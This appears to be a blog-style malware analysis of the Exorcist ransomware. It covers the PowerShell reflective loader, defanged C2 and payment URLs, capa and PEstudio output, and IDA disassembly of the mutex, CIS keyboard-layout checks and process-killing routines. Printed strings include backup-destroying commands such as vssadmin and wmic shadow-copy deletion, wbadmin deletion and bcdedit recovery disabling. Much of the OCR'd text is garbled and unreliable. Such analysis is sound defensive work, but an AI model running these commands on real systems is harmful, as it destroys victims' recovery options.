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Exorcist Ransomware — From triaging to deep dive

TL;DR

On Monday 20th while hunting for some REvil samples | stumbled upon a newly introduced
ransomware as a service called Exorcist. This ransomware is distributed via Pastebin
embedded in a powershell script that loads it directly in memory. This script is based on
“Invoke-ReflectivePElInjection.ps1” script by Joe Bialek (@JosephBialek), but it is optimised
with an additional function to pass a base64 encoded executable to the main function. This
powershell script is possibly generated using the Empire framework. The same technique is
used by some of the Sodinokibi/REvil affiliates, and in the past by Buran.

The ransomware is not obfuscated and the majority of the strings are in plaintext stored in
the “.rdata” section of the executable. The first thing that the malware does is to check the
geo location of the system using the language and the keyboard layout. If the results yield
one of the Commonwealth of Independent States (CIS) it quits on the spot. Then the
ransomware execute a series of commands to disable and remove backups and kill
processes that might interfere with the system encryption. Once it is done with the
commands, it writes to disk the RSA public key, the session private key and the extension.
This information is not written into a file in a straightforward manner, instead it is written in
different Alternate Data Streams on the file “%temp%\\boot.sys”. Then it extracts information
from the system such as username, hostname, OS version, keyboard layout, etc. and sends
them via http to the server “http://217.8.117[.]26/gateinfo”. Next it gets the amount of cpu on
the systems and starts multiple threats to encrypt the system files. Some directories and file
extensions are excluded to avoid rendering the system unusable. Once done with the
encryption another http packet is sent to the same server this time to the url
“http://217.8.117[.]26/gatedrivers”. Lastly, the wallpaper of the system is changed and the
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ransom notes are dropped in the form of hta scripts with the name convention “<extension>-
decrypt.hta”. In these notes we can find the instructions to recover the system that consist of
the urls “http://217.8.117[.]26/pay”. “http://4dnd3utjsmm2zcsb[.Jonion/pay”, and the
“Authorization Key”.

ZUKMYh Decrypt
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A=, pou zan iraisd Tor Drcsasw snd uss this web sis: oz o daiamm Zaceboriarizay
MPFORTANT: Do nct madiy thin Tis, ctvermies you Wil nai b able to ecower your datal

Your awthaorization key:

Exorcist Ransom Note
This information will be needed to “sign in” the payment portal shown in the following

screenshot:

Exorcist Ransomware

Sign in to start your session

Copy your auth key here:

A

For the IOCs go to the bottom of the page =D

Exorcist Ransomware Triaging

Once the payload is extracted (base64 encoded) from the powershell loader, we get a PE32
executable. From a quick scan of the file using Assemblyline we get the following interesting

insights:
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So at a first glance we can see that there are some well known executable names extracted,
normally seen in ransomware and coin miners either to prevent processes from allowing
access to files that will be encrypted or to free resources to mine more effectively.

Based on the APl names extracted from the sample we can say it has some network

capabilities as well as some cryptography ones. This is looking more and more like a
ransomware!

Lastly we see there is a url extracted from the sample “http://217.8.117[.]26/pay”. If we check
what we found on that website (in a secure manner ;) ) we find the following:

sys C | Adobo Doskiop Service.oxe Q. USER32dIl Q
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Exorcist Ransomware

Sign in to start your session

Copy your auth key here:

2

Our suspicion was correct, it was ransomware after all!! But what else does this ransomware
do? Let’s take a look at its capabilities using the newest tool from Fireeye capa.
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B e sttt ettt

| 79385ed97732aeedd3beb7E24delle28

| mds

| C:vUsers\<USER>\DesktophSamples\79385ed97732aecdd3bet7824dellell

o e e e e ]

| ATT&CK Tactic

| DEFENSE EVASION
DISCOVERY

| ATTECK Technigue

e e e e

Query Registry [T1812]

Virtualization/Sandbox Evasion::System Checks
File and Directory Discovery [T1883]

[T1497.881]

System Information Discovery [T1882]

I ——

o e B

CAPABILITY

|

|

|

[ System Owner/User Discovery [T1833]
.

MAMESPACE

reference anti-VM strings
| send data

| connect to HTTP server

| create HTTP request

| send HTTP request

| create pipe

| create two anonymous pipes

| initialize Winsock library

| connect TCszoEkef

| create TCP socket

| create UDP socket

| act as TCP client

| encode data using Base6d via WinAPI (2 matches)
| query environment wvariable

| delete file (2 matches)

| enumerate files via kernel32 functions
| get file size (4 matches)

| move file

| read file (3 matches)

| write file (6 matches)

| get keyboard layout

| get disk information (4 matches)

| create mutex

| resolve DNS

| get hostname

| get system information (3 matches)
| create process (3 matches)

| empty the recycle bin

| open registry key

| query registry entry

| query registry value

| get session user name

| create thread (2 matches)

e ——

So, it seems that indeed this ransom

anti-analysis/anti-vm/vm-detection
communication
communication/http/client
communication/http/client
communication/http/client
communication/named-pipe/create
communication/named-pipe/create
communication/socket
communication/socket/tcp
communication/socket/tcp
communication/socket/udp/send
communication/tcp/client
data-manipulation/encoding/base6d
host-interaction/environment-variable
host-interaction/file-system/delete
host-interaction/file-system/files/list
host-interaction/file-system/meta
host=interaction/file-system/move
host-interaction/file-system/read
host=interaction/file-system/write
host=interaction/hardware/keyboard/layout
host-interaction/hardware/storage
host—interaction/mutex
nnst—interactionﬁnefwnrkfdnsfrcsolve
host-interaction/os/hostname
host-interaction/os/info
host-interaction/process/create
host=interaction/recycle-bin
host-interaction/registry/open
host-interaction/registry/query
host=interaction/registry/query
host-interaction/session
host=interaction/thread/create

e e s s e e e e e

are sends data via http and executes some tricks to

check the system to not run on the wrong country ;). Now we are ready for a more serious

deep dive!

Exorcist Ransomware Deep Dive




Now it is time to get into the details of this malware. First we are going to take a look at the
file from a static point of view by analysing its strings, API calls, and code. And then to
complete our analysis and better understand the inner workings of the malware we are going
to study it from a dynamic point of view.

Static analysis

Loading the executable on PEstudio helps us to confirm some of the hypothesis we made
during the triage and also shows us some interesting aspect of the sample that we haven’t
seen so far.

ﬁpestudio 8.56 - Malware Initial Assessment - www.winitor.com
F‘

ile Help
e x8?
& 0] c\users\rem\desktop\wbfnxlle.dll indicator (13) severity

sy [The file references the Volume Shadow Administration vssadmin)tool | 1|

E d::-:x::l (I1G;;“£;e5] The file contains 211 blacklisted strings 1
O file-header (20 bytes) The content of the debug blob is invalid 1
a optionalAh:adcr-(EZd bytes) The file references the Internet Protocol Helper interface 2

l..O directories @ The file references other process(es) 2
O sections (4) The file references the Windows Cryptographic Pnimitives interface 2
O Hbraries (6/12) The file references the Windows Cryptographic interface 2

.0 imports (115) The file queries for files and streams 2

l..O exports (n/a) The file is resource-less 3
O exceptions (n/a) The file opts for Address Space Layout Randomization (ASLR) 5

. O tls-callbacks (n/a) The file ignores Structured Exception Handling (SEH) 5

|- H’ resources (n/a) The file has no Version 7

abc strings (211/626) The file does not contain a Certificate 7

L7 debug (invalid)

g manifest (n/a)

I {19 file-version (n/a

E certificate (n/a

.| ] overlay (n/a)
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pestudio 8.56 - Malware Initial Assessment - www.winitor.com

File Help
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unicode
unicode
unicode

vimisada

|-]---fi_"| chusers\rem\desktophwhbfrd 1 e.dll

indicators (3/13)
virustotal (offline)
dos-stub (128 bytes)
file-header (20 bytes)
optional-header (224 bytes)
directories (4]
sections (4)

libraries (6/12)
imports (115)

exports (n/a)
exceptions (n/a)
tls-callbacks (n/a)

resources (n/a)

debug (invalid)
ranifest (n/a)
file-version (n/a)
certificate (n/a)

overlay (n/a)

47 .
11 -
14 -

1R -

type

ascil

ascii

ascii

ascii

a5cii

unicode
unicode
unicode
unicode
unicede
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicede
unicode
unicode
unicode
unicede
unicode
unicede
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode

size location  blacklisted (211)  item (626)

19 - x GetCurrentHwProfile
12 - ® RegOpenKeyEx
13 . x RegQuenyValuekbx
12 - x ShellExecute

17 - x SHEmptyRecycleBin
& - ® SHA256

12 - ® -decrypt.hta

n - x \ntuser.dat

13 - x \bootfont.bin

9 - x \boot.ini

12 - ® \desktop.ini

13 - x ‘\bootsect.bak

1 - ® \ntuser.ini

12 - x \autorun.inf

4 - ® ExE

4 = X il

4 - x S5Ys

4 - ® .hta

4 - X 386

4 - x .cmd

4 - x .ani

4 = X Jmsi

4 - x .msp

4 - ® .com

4 - x nls

4 - ® JOCX

4 - x cpl

4 - x prf

4 - x .rdp

4 - x .bin

4 = ® .hlp

4 - ® shs

4 - x® Ldrv

4 - X .bat

4 - x JMsC

4 - x spl

4 - ® ey

4 - x Ink

4 - ® .ico

4 - x £ur

4 - ® .ini

4 - x reg

7 - x emd /C

7 - x cmd.exe

39 - ® vssadmin.exe Delete Shadows /Al /Quiet
29 = x C\Windows\system3\vssve.exe
12 - ® wixServer.exe

16 - x wiServerView.exe
12 - x sqlmangr.exe

9 - x RAgui.exe

13 - x SUPENVISE EXe

1 - x® Culture.exe

12 - x Defwatch.exe

n - ® winweord.exe

9 - x QOBW32. exe
powershell [Systemn.Net.Dns)::GetHestByAddress(’
'J.hostname

Exception call

HarkMNinartl amatk
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RSAPUBLICELOE
RSAPRIVATEELOB
ChaininghodeCBC
Chaininghode
WSwindows. ~bth,
Yintely
msocachel,
\Srecycle.bin',
Swindows, ~ws\,
“tor browser,
‘boot',
windows',
windows ntl
msbuild',
\microsoft,

all usersh,

\system volume information’

googlel
windows.old,
\rrozillah,
‘appdatallocal
\appdata' locallow!,
\appdata\.roaming',
SystemDinive
programdata’,
Yperflogsh,
‘\program files\
‘\program files {(x86)\
\iconcache.db
Yntldr
‘thumbs.db
‘bootmgr

adv

theme
themepack
.deskthemepack
.nomedia
diagpkg
diagcab

Jeck

.mpa

.mod

Jcns

fp

diagcfg
.msstyles

W

rom

psl

meu

Jes

e
publicsessionkey
extension
privatesessionkey
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unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode
unicode

9

12
35
4

4

20
13
4
32
46
45
61

boot.sys:

epowershell

/C timeout /T 15 /NOBREAK &8¢ del

“/F

open

itaskkill /F /T /IM

alldrivesinfo

wmic.exe SHADOWCOPY DELETE /nointeractive
wbadmin DELETE SYSTEMSTATEBACKUP

wbadmin DELETE SYSTEMSTATEBACKUP -deleteQOldest
bcdedit.exe /set {default} recoveryenabled No
bededit.exe /set {default} bootstatuspolicy ignorealifailures

So, some quick takeaways from the analysis so far:

1. Samples does not obfuscate strings.

2. It will exclude given directories and files with the extensions shown above to not render

the system unusable.

3. As expected, the ransomware will get rid of the Shadow copies of the files to avoid the

easy restoring of files.

4. It most likely will attempt to stop processes in a predefined list.

Let’s get our hands dirty and look at the code to discover some more capabilities of this
ransomware. For this we are going to load the sample to the free version of IDA.
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; Attributes: noreturn

public start
start proc near

push esi

push edi

call ds:FreeConsole
call sub_484702

test eax, eax

inz short loc_48331E

offset aKgexamgqjyxqwqu ; "KgexAmgivXQWQuk2Zaogcidhs9irT77UsuVmF75L"

sub_4847aD
ecx
€ax, €3 Attributes: bp-based frame
short le¢
: int cdecl sub_a847AD(LPCSTR lpName)
sub_a847AD proc near ; CODE XREF: start+16Tp
1pHame = dword ptr B
push ebp
mowv ebp, esp
push [ebp+1lpName] ; lpHame
push 1 ; bInitialOwner
push a ; lpMutexattributes
call de:CreateMutexA
push a8 ; dwMilliseconds
push eax ; hHandle
mov hobject, eax
call ds:WaitForSingledbject
neg eax
sbb eax, eax
ine eax
pop ebp
retn
sub_4847AD endp
m! Yy
loc_4832EC: 3 lpString
push edi
call sub_4819E2
push edi ; lpString
call sub_d84861
mow esi, eax
push esi ; LPCSTR
push offset aGatedrives ; "gatedrives”
call sub_484BD6
push esi ; lpMem
call sub_4818c4
push edi ; lpMem
call sub_4818C4
add esp, 18h
call sub_4844F@
call sub_484B69

So, one of the first thing is does is creating a mutex to avoid running multiple times on the
system. Let’s check what else we find next to the hardcoded mutex string.

[loc_48331E:

~all enkh Agangg
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.rdata:eed4a7iic
.rdata:@ad48731c
Lrdata:eed4ay s
.rdata: 88487348
.rdata:@s4aT a8
.rdata: 88487368
.rdata: 88487 IeE
rdata:@a407368
.rdata: 88487 I6e
Lrdata:ee4p73ize
.rdata:88487378
Lrdata:eed4a7ivze
.rdata: 884873178
.rdata:esd4a7 34
.rdata: 88487384
.rdata:@a4a7IBF
.rdata: 8427398
.rdata:8sdaTiog
Fdata:ee497390
.rdata:8a4873IeD
Lrdataseedavice
.rdata:884873ca
Lrdataseedarice
.rdata:@84873cC
Lrdata:eedayicc
.rdata:@84873E4
.rdata:@ea4a7IEa
rdata:@e4973F4
.rdata: 88487 3IFB
rdata: @84a73FE
.rdata: 88487 3FB
rdataseeda7aae
.rdata: 88487448
.rdata:eeda7aes
.rdata: 884874454
.rdata:esdaT44ac
rdata:eaddTa4c
.Pdata:eadaT44ac
rdata:@e4e74asc
.rdata:8a48745Cc
data: @ada74asc
.rdata: 88487466
Lrdata:eede7468
.rdata: 88487468
.rdata:esdarare
.rdata:@ad4a7aTe
.rdata:@a4a7479
rdata:@a4a747Cc
.Pdata:@a48747C
rdata:@a4a7487
.rdata: 88487488
Lrdata:@ed4e7488
.rdata:88487491
.rdata:essa7494
rdata:geda7Taod
.rdata:@eqa7408
.rdata:@a4a749C
.Pdata:eadaT4oc
crdata:@a4a74a2
.rdata:8f4a74a4

Here we can see some interesting strings that we have overlooked before. Seems that there
are some countries listed that are most likely used together with the “get keyboard layout”
capability seen before to decide if this sample should run or quit. Let’s confirm this theory!

text “UTF-16LE",
; CHAR aKgexamgiy=agwau[]

; sub_48l1BCC+132t0 ...
‘privatesessionkey’,8

akgexamgjyxquwgu db ‘KgpexamgivXQWQuk2Zaogci@hs9jr77UsumF7S1" ,@

; const WCHAR aTmp
aTmp:

text "UTF-1BLE",
; const WCHAR aBootSys
aBootSys:

text “UTF-16LE",
; CHAR aGatedrives[]
aatedrives db 'gatedrives',8
align 1&h
; CHAR SubKey[]

; DATA XREF: start+llfo

; DATA XREF: start+25To
; sub_483B3l2e«dto ...

"TMP 8

; DATA XREF: start+d(To
; Sub_483B32+2BTo

‘boot.sys:’,8

DATA XREF: start+6BTo

]

Subkey db ' SOFTWARE\Microsofti\Windows NT\CurrentVersion®,8
; DATA XREF: sub_ded417+18To

align 1éh

; CHAR ValueName| ]

ValusMame db ‘ProductMame’ ,8 ; DATA XREF: sub_apdd417+37To

; Const WCHAR aPowershell

aPowershell: ; DATA XREF: sub_a83F&84+2Gto
text "UTF-16LE"; 'powershell °,@

aCmdi : ; DATA XREF: sub_483F&8+31To
text "UTF-16LE", "cmd /C °,8
align 8

: const WCHAR aCTimeoutT15Nob

aCTimeout T15Mobk: ; DATA XREF: sub_aedagg+28To

text "UTF-16LE", °

3 enst WCHAR asc_48744@

asc_487448:
text "UTF-16LE",
align 4

; const WCHAR File

File:

text "UTF-1BLE",
; const WCHAR Operation

Operation:
text "UTF-16LE",
align 4

aRussian db 'russian”,@

afrmenian db "armenian”,@
align 4

aBelarusian db 'belarusian’,®
align 4

aGeorgian db 'gecrgian”,d
align 4

akazakh db "kazakh',e
align 4

aTajik db 'tajik',e
align 4

aTurkmen db ‘turkmen”,8

; DATA XREF: sub_d8daB8+34To

]

B -

; DATA XREF: sub_d8dABE+47To
‘cmd.exe” ,8

; DATA XREF: sub_dedaBg8+4CTo
‘open’ ,@

: DATA XREF: sub_apdd46B+37To
sub_484702+25T0
DATA XREF: sub_deddsB+3ETo
sub_4847D2+2F o

; DATA XREF: sub_ded46B+45To
; sub_4847D2+36T0

; DATA XREF: sub_dgdd6B+4CTo
; sub_4847D2+30To

; DATA XREF: sub_a8d446B+53T0
sub_484702+44Ta

; DATA XREF: sub_d8d45B+5ATo
; sub_4a847D2+48To

; DATA XREF: sub_dgddEB+61To

fC timeout /T 15 /NOBREAK && del ™°
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; Attributes: nareturn

public start

start proc near

push osi

push edi

call ds:Freelonsale

call sub_48470%

test eax, eax war_1C

jnz shart lacwar 18
3 war_1d

ush

all

oSt

war_18

offset akgexangiyxquau ; “Kgesangdy oo

sub_4847a0
ey
oM, o0d

short loc_48331E

war_B
war_d4

" FE

call
push
call
push
push
push
call
add

moy

call
test

iz

Sub_483002
offset aTmp
sub_4@1319

1

offset asc_d4872
eax

sub_485238

esp, 18h

edl, eax
Sub_484743

Eax, eax

short loc_4@32F

s

1 1
affset aBootSys -:
adi 1
sub_485238

asp, @Ch

adi, eax

push
call
push
call
mow

push
push
call
push
call
push
call
add

call
call

Lloc_4ABI2EC: %

adi
sub_4@19E2
adi
sub_aadaal
esl, eax

agi LPCETR

»

offset aGatedrives ; “pgatedrives”

sub_184BD6

esi + lpHem
sub_aalacd

edi i lpHem
sub_4e18C4

esp, 13h

sub_@4AF8

sub_484BES

= dward
dword
dward
dward
dword
dward
= dward

push
now
sub
push
push
push
push
lea
push
push
push
call
lea
nov
push
wor
2l =1
nov
Aoy
al=l]
nov
Lalel)
Aoy
nov
noy
call
Pep
nov
Ao

ptr -1Ch
ptr -18h

ptr -1dh

ptr -18h

pir -BCh

ptr -8

ptr -4

ebp

ebp, esp

esp, B8h

ehx

esi

wdi

55h i tchData
eax, [ebp+LClnta]

max ; lplLcData
12@1h i LCType
deah ; Locale
ds:Getlocalelnfod

eax, [ebpsliDatal

[ebp+var_28], offset sRussian ; “russian”
rax ; lpString

edi, edi

(ebpsvar_2d4], offset adrmenian ; “armenian”
[ebp+var_28], offset aBelarusian ; "belarusian®
[ebpsvar_1C], offset aGeprgiam ; “gecrgian’
(ebpsvar_18], offset akazakh ; “wazakn’
[ebprvar_14], offset aTajik ; "tajik”
[ebpsvar_18], offset aTurkmen ; “turkmen®
lebpsvar_C], offser aUkrainiam ; “ukrainien”
[ebprvar_8], offset alzbek ; "uzbek”

[ebpsvar_4], offset afzerbaijand ; “arerbaijani”

sub_d83886
eCx

ehy, eax
esi, edi
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push ebp

mov ebp, esp

sub esp, 23dh

push ebx

push esi

push edi

mowv edi, ds:GetKeyboardLayoutlList

xor ebx, ebx

push ebx ; lpList

push ebx ; nBuff

call edi ; GetkKeyboardLavoutList

mowv esi, eax

shl eax, 2

push eax ; UBytes

push 4@h ; uFlags

call ds:LocalAlloc

push eax ; lplList

push esi ; nBuff

mov [ebp+hMem], eax

call edi ; GetKeyvboardLayvoutlist

mowv esi, [ebp+hMem]

mowv ecx, eax

mowv [ebp+var_C], ecx

Mo eax, ebx

mov [ebp+var_34], offset aRussian ; “russian”

mov [ebp+var_3a], offset aArmenian ; “armenian”

mov [ebp+var_2C], offset aBelarusian ; "belarusian”

mov [ebp+var_28], offset aGeorgian ; "georgian”

mov [ebp+var_24], offset aKazakh ; "kazakh”

mowv [ebp+var_28], offset aTajik ; "tajik”

mov [ebp+var_1C], offset aTurkmen ; “turkmen”

mov [ebp+var_18], offset alUkrainian ; "ukrainian”

mowv [ebp+var_14], offset alUzbek ; "uzbek"”

mowv [ebp+var_18], offset aAzerbaijani ; "azerbaijani”

mowv [ebp+var_8], eax

test ecx, ecx

iz short loc_d484564
P -
loc_4B844EF:
movzx  eax, word ptr [esi+eax*4]
lea ecx, [ebp+LCData]
push  286h ; cchData
push ecx ; lpLCData
push 1881h ; LCType
push 2ax : Locale
call ds:GetLocaleInfol
lea eax, [ebp+LCData]
push eax ;3 1lpString
call sub_48388B
pop ecx

oV [ebp+hMem], eax

Knv edi, ebx

The Ransomware uses the API “GetLocalelnfo” and “GetKeyboardLayoutList” to determine
the geo location of the system and check if it should continue running or not. Let’s verify
another hypothesis we had. Does the ransomware kill the processes displayed in the strings
before start encrypting? For this we are going to pivot from the un-obfuscated strings to the
code.
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https://docs.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-getlocaleinfoa
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeyboardlayoutlist

.rdata
.rdata
rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata

;ee4078C4
(ee4e73c4e
(e84878DE
(eeda73Ee
:@e4@78ED
:8e4879a82
:8e4e7984
:pe4a7984
:8040791E
(ee4e7928
:pe4a7920
180407934
18407934
:@e4a7958
:8e407958
188407968
:PB487968
:8e487982
188407984
:pB487984
:ee48799cC
1@e40799C
(pe4879E68
(8487988
1 2e4079CE
(ee4879CE

aWxserverExe: ; DATA XREF:
text "UTF-16LE", 'wxServer.exe',@
align 1eh

akWxserverviewEx: ; DATA XREF:
text “UTF-16LE", 'wxServerView.exe',®
align 4

aSqlmangrExe: ; DATA XREF:
text "UTF-16LE", 'sqlmangr.exe',®
align 18h

aRaguiExe: ; DATA XREF:
text "UTF-16LE", 'RAgui.exe’,d

aSuperviseExe: ; DATA XREF:
text "UTF-16LE", 'supervise.exe’,®

aCultureExe: ; DATA XREF:
text "UTF-16LE", 'Culture.exe',®

aDefwatchExe: ; DATA XREF:
text "UTF-16LE", 'Defwatch.exe',®
align 4

aWinwordExe: ; DATA XREF:
text "UTF-16LE", 'winword.exe',®

aQbw32Exe: ; DATA XREF:
text "UTF-16LE", 'QBW32.exe’,@®

aQbdbmgrExe: ; DATA XREF:
text "UTF-16LE", 'QBDBMgr.exe',®

aQbupdateExe: ; DATA XREF;
text "UTF-16LE", 'gbupdate.exe',®

sub_483BD2+5CTo

sub_4e3BD2+66To

sub_483BD2+78%0

sub_483BD247ATo
sub_4038D2+84%o
sub_483BD2+BEto

sub_483BD2+98To

sub_483BD2+A2T0
sub_483BD2+ACTo
sub_483BD2+B6To

sub_4@3BD2+Cefo
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A0000RBE8483E02 push ebp
BE882058884838D3 mov ebp, esp
22202RRRA8483B805 sub esp, 17Bh
GO0080BB08403BDB push esi
SE20RRRRAR483BDC push edi
SE00200008403800 call sub_483F5B

BE88800880483BE2 xor esi, esi
2Q202RRRAE403BES mov [ebpsvar_1C], offset aWmicExeShadowe ; “wmic.exe SHADOWCOPY DELETE /nointeracti™. ..
AO8000888848 3BEE mov [ebp+var_18], offset aWbadminDeleteS ; "whbadmin DELETE SYSTEMSTATEBACKUP'
BEEeR0RBE483BF2 mov edi, esi
ooaaooBeRa4a3EFS4 mov [ebpevar_14], offset alWbadminDeletesS 8 ; "wbadmin DELETE SYSTEMSTATEBACKUP -delet™...
88820580048 3BFB mov [ebp+var_l@], offset aBcdeditExeSetD ; "bededit.exe /set {default} recoveryemab”...
2202028483002 mov [ebpsvar_C], offset aBcdeditExeSetD @ ; "bededit.exe fset {default} bootstatuspo™...
BE80B0BBRELA3CAT mov [ebpe+var_8], offset aVssadminExeDel ; “vssadmin.exe Delete Shadows fAll /Quiet”
0000088483018 mov [ebpsvar_4], offset aCWindowsSystem ; “C:\‘Windows''\system32\\vssvc.exe’

— ¥t

peegoooee4a3C17

POEBEAEAsNLD3IC1T loc_4B3C17:
PRBREABABAARIC1T push  esi
POBGOAOA0RARIC1E push  [ebpredi®a+var_1C] 3 LPCWSTR
POBBEAGABAARICIE call  sub_d@3FER

; int

poBooooae4a3C21 inc edi

BEEESA000884B3C22 pop BCX

Poee00a8e993C23 pop BCx

POGEAERARRARICIY cmp edi, 7

pRpegegeaRdR3IC2? §1 short loc_483C17

I‘

=
DEB2E80984083C29 mov eax, offset aMssqlMicrosoft ; "MSSQLSMICROSOFT#RWID.exe”
BE02EE8008483C2E mov [ebp+lpstring], offset aWxserverExe ; "wxServer.exs"
BELRBAEAAR4R3C38 mov [ebp+var_174], offset awxserverviewEx ; "wxServerView.exe”
BE00E08080483042 mov [ebp+var_178], offset aSqlmangrExe ; "sqlmangr.exe”
BELRBAEGAA4R83ICAC mov [ebp+var_16C], offset aRaguiExe ; “Ragui.exe”
DEe2EA80084083056 mov [ebp+var_168], offset aSuperviseExe ; "supervise.exe”
BEE8EE8088483068 mov [ebp+var_l164], offset aCultureExe ; "Culture.exe”
DELRBAEAR4RICEA mov [ebp+var_168], offset aDefwatchExe ; "Defuwatch.exe”
BEO2E800840830C74 mov [ebp+var_15C], offset aWinwordExe ; "winword.exe"
PROBEEE0aA4R3CTE mav [ebp+var_158], offset aQbw32Exe ; "(QBW3Z.exe”
DE22E2008403C88 mov [ebp+var_154], offset aQbdbmgrExe ; "(QBDEMzr.exe”
BEBBEE8088483092 mov [ebp+var_158], offset aQbupdateExe ; "ghupdate.exe”
BELRBAESAR4R3ICI0 mov [ebp+var_14C], offset aAxlbridgeExe ; "axlbridge.exe”
BE0808080483CA56 may [ebp+var_148], offset aHttpdExe ; “httpd.exe’
BELRBAEGAA4R83ICES mov [ebp+var_144], offset afFdlauncherExe ; "fdlauncher.exe”
D20BEA80a0403CBA mav [ebp+var_148], offset aMsdtsrvrExe ; "MsDtSrvr.exe”
BEBBEA8088483004 mov [ebp+var_13C], offset alavaExe ; "java.exe”
BELRBAEAR4RICCE mov [ebp+var_138], offset a36@seExe ; “36dse.exe”
BE02808008403C08 mov [ebp+var_134], offset a3dbddoctorExe ; "I6bdoctor, exe”
BELRBAEGAA4RICE2 mov [ebp+var_138], offset aWdswfsafeExe ; "wdswisafe.exe”
BEBREA80084083CEC mov [ebp+var_12C], offset aFdhostExe ; "fdhost.exe”
BEREEIEEE8403CFE may [ebp+var_128], offset aGdscanExe ; "GDscan.exe
BELRBAE292423088 mov [ebp+var_124], offset aZhudongfangyuE ; "ZhuDongFang¥u.exe”
BE0808080483084 may [ebp+var_128], offset aQbdbmgrnExe ; "QBDBMgrN.exs"
PELRBAEGAA423014 mov [ebp+var_11C], offset aMysqldExe ; "mysgld.exe’
DEe2E8008408301E mov [ebp+var_118], offset aAutodeskdeskto ; "AutodeskDesktopipp.exe”
BE22EE8008483028 mov [ebp+var_114], offset aAcwebbrowserEx ; "acwebbrowser.exe’
PROGEAS020403032 mav [ebp+var_118], offset aCreativeCloudE ; "Creative Cloud.exe”
BE0280800848303C mov [ebp+var_18C], offset aAdobeDesktopSe ; "Adobe Desktop Service,exe”
BELRBAEGAA423046 mov [ebp+var_188], offset aCoresyncExe ; "CoreSync.exe”
DEe2E20084083050 mov [ebp+var_l184], offset aAdobeCefHelper ; "Adcbe CEF Helper.exe”
BE02EE8808483054 mov [ebp+var_l188], offset aNodeExe ; “node.exe”
BEARBAE292403064 mov [ebp+var_FC], offset aAdobeipcbroker ; "AdobelPCBroker.exe”
DE00E0E0a0403D6E may [ebp+var_Fa], offset aSyncTaskbarExe ; "sync-taskbar.exe”
PELRBAEGAA4R30TE mov [ebp+var_Fa], offset aSyncWorkerExe ; "sync-worker.exe”
DEe2E80084083082 mov [ebp+var_Fe], offset alnputpersonali ; "InputPersonalization.exe”
BE22EE880848308C mov [ebp+var_EC], offset aAdobecollabsyn ; "AdocbeCollabSync.exe”
BEARBAE292423096 mov [ebp+var_E8], offset aBretrlentrExe ; "Britrlintr.exe”

From analysing the routine we see that it is divided in two main sectibns, the first one running
a set of predefined commands to disabled and remove shadow copies and backups, and a
second one that goes through the list of processes and calls “taskkill” for each of them.
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Ligelogelrgalrgaleloty L] ol L

DL

BASA00SA00483IFED mov ecx, offset aPowershell ; “powershell
BAB0BEGEGE4E3IFI2 push b ; int
BEEEBEAG8483IF3 push [ebp+arg 8] : LPCWSTR
BESHSESE8RARIFI6 stosd

BESERESERRARIFYT stosd

BOREGESESRIRIFIE stosd

BOBHBEBEGBLIBIFIT moy eax, offset aledC ; “cmd JC ©
BEEAGEGEGBABIFOE cMovnz  =ax, ecx

BESEBE0808483FA1 push 2ax ; lpstring
pEpaeEeaeaIRIFA2 call Str_concat

BOSESE0RRRIRIFAT add esp, 1Bh

BOBHBEEGAIEIFAA mov edi, eax

BRABABAGAGEIATFAC lea eax, [ebp+ProcessInformation]
BE8E088888483FAF push 2ax ; lpProcessInfarmation
BHEE0E0000483FEE lea eax, [ebp+startupInfo]
SESE008800483FB3 push eax i lpstartuplInfo
BECACESEORIRIFES push ebx ; lpCurrentDirectory
BOBA00S800483FRS push b i lpEnvironsent
BEEEBEGAGBABIFEE push ERaaasah ; dwCreationFlags
BEESEBE8E884B3IFEE push = ; bInheritHandles
CESE080800483FBC push ebx i lpThreadattributes
CASE0E0800483FBD push ebx ; lpProcessAttributes
BOCACESEORIRIFEE push edi ; lpCommandLing
FARARARAGRLEIFEF push abx ; lpapplicationName
BEBEBEeEEE483IFCE call ds :CreateProcessh

BESEREABRIBIFCE test 2ax, eax

BESHSEERRIRIFCE jz short loc_4@3FES

"= Il
BRABASRO8A4A3FCA push BFFFFFFFFh i dwMilliseconds

BOESESESEa4a3FCC push
DEELAG0888483FCF call
DEARAGAISIRIAIFDS push

r
[ebp+ProcessInformation.hProcess] ; hHandle

ds:WaitForsingledbject
[ebp+ProcessInformation.hProcess] ; hobject]
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GOAIBOEBRANARIR2T o Attelbutes: bp-Based fram
Lo BRI s TeR R ]
CORNERREadEER2T | int cdec] Prap Taskkill comsardl LPCHSTR LpStrirg, int)
SOE8e0Raa4e492] Prep taskkill cormand proc near
£SO BeE0aEEda4a3]
BO3RR0DBRRdALa3] InString- oword ptr 2
SITRE0DSREAALa2] srp 4= dword ptr ach
Lkl Lo BES L
EERIREORIIREY push ebp
Lo B HIS B R BT ebp, esp
BANMEGINEEIS push vl
GRIPEBIIABARE push CETS
GRARRGBAREIEDIT Pay wal, [abpslpstring]
COAB0ERRAAEL02A push wdl
O3 30E0RE a4 02E push aftset aExe .
S03300088 8484038 push sl i lpstring
SOBESDEREELaI] call sub_4353E8
B3FRECOBTRIRLDIE Tnp lebpearg 4], @
BITREEDIT BB AN nap BCE
EERIBEERRIIBIBH AN pap rox
BRI AL push BEl i lpstring
BHMESHIBARED o sheel Tus_ddlassd
- :
BEARRIGEHAARI0EF wor ohx, ehx ARG ARG
ECORRSC0Rad8dRL] Test Bad, @aE Imaﬂama
ECO3BEE0RadBdLT 1 short loc 49495 BEECDD Beenld
: BECODAREDNLE
BEECODBEO0LE
BEECIDBEO0LE
BEROHBEONLE
RO e
PP ! EwE ' Hxz
COARecoaRadeLas sall dsrlstrlanid BECOaNAR0ALEGSE (2= e ek BRI
£l ecoaiddedade sub eax, 4 BECODEBECRLEGSE loc 484558 (2= e R
D 3BEc0aagdadadE push BaK i int BRCOOEREOALEAFTE call sub_dEEZER| ESI0BEEEDIBAE
ES3BEEaRBdadadF push ebx i int BEESAZRECOLEASSD pop (=1 EOIBECEIARAE
BIFREERAEBIAdASE push Bsl i lpstrin
ERpeDaEredasl call sub_4an513
